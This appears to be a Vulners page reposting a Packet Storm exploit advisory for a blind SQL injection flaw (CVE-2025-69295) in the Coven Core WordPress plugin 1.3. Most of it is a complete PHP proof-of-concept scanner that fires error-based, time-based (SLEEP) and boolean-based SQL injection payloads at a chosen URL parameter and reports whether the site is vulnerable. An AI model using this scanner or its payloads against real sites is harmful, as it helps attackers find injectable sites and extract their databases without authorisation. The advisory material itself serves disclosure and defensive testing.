Lucene search
+L

📄 WordPress TeconceTheme Coven Core 1.3 Blind SQL Injection

🗓️ 26 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 174 Views

Blind SQL injection in TeconceTheme Coven Core 1.3 via unsanitized GET input enables remote data extraction.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-69295
22 Feb 202610:22
githubexploit
cnnvd
CNNVD
WordPress plugin Coven Core SQL注入漏洞
20 Feb 202600:00
cnnvd
cve
CVE
CVE-2025-69295
20 Feb 202615:46
cve
cvelist
Cvelist
CVE-2025-69295 WordPress Coven Core plugin <= 1.3 - SQL Injection vulnerability
20 Feb 202615:46
cvelist
kitploit
Kitploit
CVE-2025-69295
11 Sep 202601:16
kitploit
nvd
NVD
CVE-2025-69295
20 Feb 202616:22
nvd
patchstack
Patchstack
WordPress Coven Core plugin <= 1.3 - SQL Injection vulnerability
23 Jan 202609:10
patchstack
ptsecurity
Positive Technologies
PT-2026-21123
20 Feb 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-69295
21 Feb 202619:30
redhatcve
vulnrichment
Vulnrichment
CVE-2025-69295 WordPress Coven Core plugin <= 1.3 - SQL Injection vulnerability
20 Feb 202615:46
vulnrichment
Rows per page
=============================================================================================================================================
    | # Title     : TeconceTheme Coven Core 1.3 Blind SQL Injection php Vulnerability                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://themeforest.net/user/teconcetheme                                                                                   |
    =============================================================================================================================================
    
    [+] Summary    : A Blind SQL Injection vulnerability exists in TeconceTheme Coven Core due to improper sanitization of user-supplied input in a GET parameter.
    
    The vulnerability allows remote attackers to manipulate backend SQL queries via crafted payloads. Depending on server configuration and database behavior, this issue may be exploited using:
    
    Error-based SQL Injection
    
    Time-based Blind SQL Injection
    
    Boolean-based Blind SQL Injection
    
    Successful exploitation could allow attackers to:
    
    Extract sensitive database information
    
    Enumerate database structure
    
    Bypass authentication mechanisms
    
    Potentially escalate to full database compromise
    
    The vulnerability is remotely exploitable without authentication if the affected parameter is publicly accessible.
    				 
    [+] POC   :  
    
    <?php
    
    error_reporting(0);
    set_time_limit(0);
    
    function banner() {
        echo "\n";
        echo "========================================================\n";
        echo "   CVE-2025-69295 Blind SQLi Scanner (PHP) by indoushka\n";
        echo "=========================================================\n\n";
    }
    
    function http_request($url, $timeout = 5) {
    
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
    
        $response = curl_exec($ch);
        $error = curl_error($ch);
        curl_close($ch);
    
        if ($error) {
            return false;
        }
    
        return $response;
    }
    
    function connect_target($target, $timeout) {
    
        $urls = [];
    
        if (strpos($target, "http") === 0) {
            $urls[] = $target;
        } else {
            $urls[] = "https://" . $target;
            $urls[] = "http://" . $target;
        }
    
        foreach ($urls as $url) {
            echo "[+] Trying: $url\n";
            $response = http_request($url, $timeout);
            if ($response !== false) {
                echo "[] Connected: $url\n";
                return $url;
            }
        }
    
        return false;
    }
    
    $ERROR_PAYLOADS = ["'", "\"", "'--", "' OR '1'='1"];
    $TIME_PAYLOAD = "' OR SLEEP(5)-- ";
    $BOOLEAN_TRUE = "' OR 1=1-- ";
    $BOOLEAN_FALSE = "' OR 1=2-- ";
    
    function error_based_test($url, $param, $timeout, $payloads) {
    
        $errors = ["sql syntax", "mysql", "warning", "database error", "sql error"];
    
        foreach ($payloads as $payload) {
    
            $test_url = $url . "?" . $param . "=" . urlencode($payload);
            $response = http_request($test_url, $timeout);
    
            if ($response) {
                foreach ($errors as $error) {
                    if (stripos($response, $error) !== false) {
                        return true;
                    }
                }
            }
        }
    
        return false;
    }
    
    function time_based_test($url, $param, $timeout, $payload) {
    
        $test_url = $url . "?" . $param . "=" . urlencode($payload);
    
        $start = microtime(true);
        http_request($test_url, $timeout + 6);
        $end = microtime(true);
    
        if (($end - $start) >= 5) {
            return true;
        }
    
        return false;
    }
    
    function boolean_based_test($url, $param, $timeout, $true_payload, $false_payload) {
    
        $true_url = $url . "?" . $param . "=" . urlencode($true_payload);
        $false_url = $url . "?" . $param . "=" . urlencode($false_payload);
    
        $r1 = http_request($true_url, $timeout);
        $r2 = http_request($false_url, $timeout);
    
        if ($r1 && $r2) {
            if (strlen($r1) != strlen($r2)) {
                return true;
            }
        }
    
        return false;
    }
    
    function scan($target, $param, $timeout) {
    
        global $ERROR_PAYLOADS, $TIME_PAYLOAD, $BOOLEAN_TRUE, $BOOLEAN_FALSE;
    
        $base_url = connect_target($target, $timeout);
    
        if (!$base_url) {
            echo "[!] Target unreachable\n";
            return;
        }
    
        $vulnerable = false;
    
        echo "\n[*] Testing Error-based SQLi...\n";
        if (error_based_test($base_url, $param, $timeout, $ERROR_PAYLOADS)) {
            echo "[] Error-based SQL Injection detected\n";
            $vulnerable = true;
        } else {
            echo "[] No Error-based SQL Injection\n";
        }
    
        echo "\n[*] Testing Time-based SQLi...\n";
        if (time_based_test($base_url, $param, $timeout, $TIME_PAYLOAD)) {
            echo "[] Time-based SQL Injection detected\n";
            $vulnerable = true;
        } else {
            echo "[] No Time-based SQL Injection\n";
        }
    
        echo "\n[*] Testing Boolean-based SQLi...\n";
        if (boolean_based_test($base_url, $param, $timeout, $BOOLEAN_TRUE, $BOOLEAN_FALSE)) {
            echo "[] Boolean-based SQL Injection detected\n";
            $vulnerable = true;
        } else {
            echo "[] No Boolean-based SQL Injection\n";
        }
    
        echo "\n=====================================\n";
    
        if ($vulnerable) {
            echo "[!!!] RESULT: TARGET IS VULNERABLE TO CVE-2025-69295\n";
        } else {
            echo "[] RESULT: TARGET NOT VULNERABLE\n";
        }
    
        echo "=====================================\n";
    }
    
    banner();
    
    $options = getopt("t:p:", ["target:", "param:", "timeout:"]);
    
    $target = $options['t'] ?? $options['target'] ?? null;
    $param = $options['p'] ?? $options['param'] ?? null;
    $timeout = $options['timeout'] ?? 5;
    
    if (!$target || !$param) {
        echo "Usage:\n";
        echo "php scanner.php -t http://target.com/page.php -p id --timeout=5\n";
        exit;
    }
    
    scan($target, $param, $timeout);
    
    ?>
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Feb 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.3
EPSS0.0041
SSVC
174